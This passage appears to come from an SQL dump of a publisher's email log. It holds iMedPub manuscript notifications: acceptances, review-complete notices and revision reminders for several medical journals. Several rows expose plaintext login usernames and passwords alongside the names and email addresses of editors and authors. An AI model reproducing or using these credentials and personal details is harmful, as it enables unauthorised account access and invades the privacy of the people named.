It is accepted on  <b>2020-01-22</b></p>\r\n            <div style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; border: 3px solid rgb(0, 153, 51); padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            <font face=\"Verdana, Arial, Helvetica, sans-serif\"><span style=\"font-size: 12px;\">              With Regards,</span></font><br />\r\n            <font face=\"Verdana, Arial, Helvetica, sans-serif\"><span style=\"font-size: 12px;\">             Managing Editor,</span></font><br />\r\n            <b style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;\"><a href=\"http://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>\r\n<p>&nbsp;</p>',1,'Author Notification: Accept','patelo@gvsu.edu',3178,'2020-01-22',376),(813,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-19-3036</b><br />\r\n            <br />\r\n            Article Title: <b>Brief appointments about fiscal policy for the smoking control</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Fern&aacute;ndez Hern&aacute;ndez</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Islas Salinas</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>iphspr-19-3036</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> dr._patricia<br />\r\n            <b>Password:</b> SD84buCN<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','patricia.islas@uacj.mx',3036,'2020-01-29',84),(814,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-19-3037</b><br />\r\n            <br />\r\n            Article Title: <b>Rates to measures the social inequity attributable to smoking</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Fern&aacute;ndez Hern&aacute;ndez</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Archana </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>iphspr-19-3037</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sarkar<br />\r\n            <b>Password:</b> SeeRVPCK<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','archana.sarkar5@gmail.com',3037,'2020-01-29',84),(816,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-19-3037</b><br />\r\n            <br />\r\n            Article Title: <b>Rates to measures the social inequity attributable to smoking</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Hern&aacute;ndez</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>iphspr-19-3037</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"http://www.hsprj.com/\">http://www.hsprj.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>fern&aacute;ndez</b><br />\r\n            Password : <b>YQcNBSMR</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','fefh@infomed.sld.cu',3037,'2020-01-30',84),(817,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-3122</b><br />\r\n            <br />\r\n            Article Title: <b>CLOBAZAM EFFICACY AS AN ADD- ON THERAPY FOR 121 PATIENTS WITH INTRACTABLE EPILEPSY</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Ashwaq Alsulami</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-19-3122</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','tsxie@qq.com',3122,'2020-01-30',75),(821,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-20-3213</b><br />\r\n            <br />\r\n            Article Title: <b>Barriers to Delivery of Health Care at Sobering Center: A Model</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Dr Neela Srinivas</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Archana </b><br />\r\n            <br />\r\n            The review for the manuscript <b>iphspr-20-3213</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','archana.sarkar5@gmail.com',3213,'2020-01-31',84),(822,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3256</b><br />\r\n            <br />\r\n            Article Title: <b>Cortisol, testosterone and pain levels among patients undergoing McKenzie therapy and suboccipital relaxation.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Krzysztof Starszak</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Arda </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-3256</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> isik<br />\r\n            <b>Password:</b> 1GqmD6Ny<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kararda@yahoo.com',3256,'2020-01-31',85),(823,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3256</b><br />\r\n            <br />\r\n            Article Title: <b>Cortisol, testosterone and pain levels among patients undergoing McKenzie therapy and suboccipital relaxation.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Starszak</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-01-31</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','krzysztof.starszak@gmail.com',3256,'2020-01-31',85),(824,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-3185</b><br />\r\n            <br />\r\n            Article Title: <b>AMBULATORY SURGERY IN CHU HASSAN II FES</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>SLAIKI</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-01-31</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','saad.slaiki@hotmail.com',3185,'2020-01-31',319),(825,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-2635</b><br />\r\n            <br />\r\n            Article Title: <b>The intracerebral hemorrhage (ICH) in the state of Qatar</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>ali</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-01-31</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mosaabali@hotmail.com',2635,'2020-01-31',75),(826,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-630</b><br />\r\n            <br />\r\n            Article Title: <b>CYBERPSYCHOLOGY: A SIMPLE OVERVIEW OF ADDICTIVE BEHAVIOR</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Faustin Armel</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-01-31</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','faustin.armel.etindele.sosso@umontreal.ca',630,'2020-01-31',75),(827,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-2696</b><br />\r\n            <br />\r\n            Article Title: <b>A case report and literature review of clobazam toxicity related to CBD and Clobazam drug drug interaction</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Kheireldin</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipjnn-19-2696</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"http://www.jneuro.com/\">http://www.jneuro.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>rowida</b><br />\r\n            Password : <b>6tYzBLRz</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','rowida@gmail.com',2696,'2020-01-31',75),(830,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3259</b><br />\r\n            <br />\r\n            Article Title: <b>THE IMPACT OF BODY MORPHOLOGY ON ROTATION ON CHEST RADIOGRAPH: A SINGLE CENTRE STUDY</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Lukasz </b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-20-3259</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','lukasz.szarpak@gmail.com',3259,'2020-02-04',85),(833,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3259</b><br />\r\n            <br />\r\n            Article Title: <b>THE IMPACT OF BODY MORPHOLOGY ON ROTATION ON CHEST RADIOGRAPH: A SINGLE CENTRE STUDY</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Michael Promise</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-02-05</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mpos2007@yahoo.com',3259,'2020-02-05',85),(837,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-2988</b><br />\r\n            <br />\r\n            Article Title: <b>Migraine in adult Saudi population: Exploring common predictors, symptoms and its impact on quality of life</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipjnn-19-2988</b> for the <b>Journal of Neurology and Neuroscience</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','tsxie@qq.com',2988,'2020-02-07',75),(838,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-2988</b><br />\r\n            <br />\r\n            Article Title: <b>Migraine in adult Saudi population: Exploring common predictors, symptoms and its impact on quality of life</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Syed</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-02-07</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sasyed@pnu.edu.sa',2988,'2020-02-07',75),(857,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3282</b><br />\r\n            <br />\r\n            Article Title: <b>Chikungunya Neurological Manifestations: Systematic Review</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Junior</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-02-12</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','juciergjunior@hotmail.com',3282,'2020-02-12',48),(867,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3177</b><br />\r\n            <br />\r\n            Article Title: <b>Gluten free diet has different effect on the iron profile of celiac disease and non-celiac gluten sensitive patients with idiopathic iron deficiency anemia </b><br />\r\n            <br />\r\n            Corresponding Author: <b>mohsen norouzinia</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shyam </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-3177</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sundar_nandi<br />\r\n            <b>Password:</b> 72j2Bjjk<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','shyam.nandi@unmc.edu',3177,'2020-02-17',85),(868,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-19-2756</b><br />\r\n            <br />\r\n            Article Title: <b>Why is drug-induced ototoxicity still not preventable nor is it treatable in 2019? (A literature review of Aminoglycoside and Cisplatin ototoxicity). </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Kaoutar Cherrabi</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shyam </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-19-2756</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br 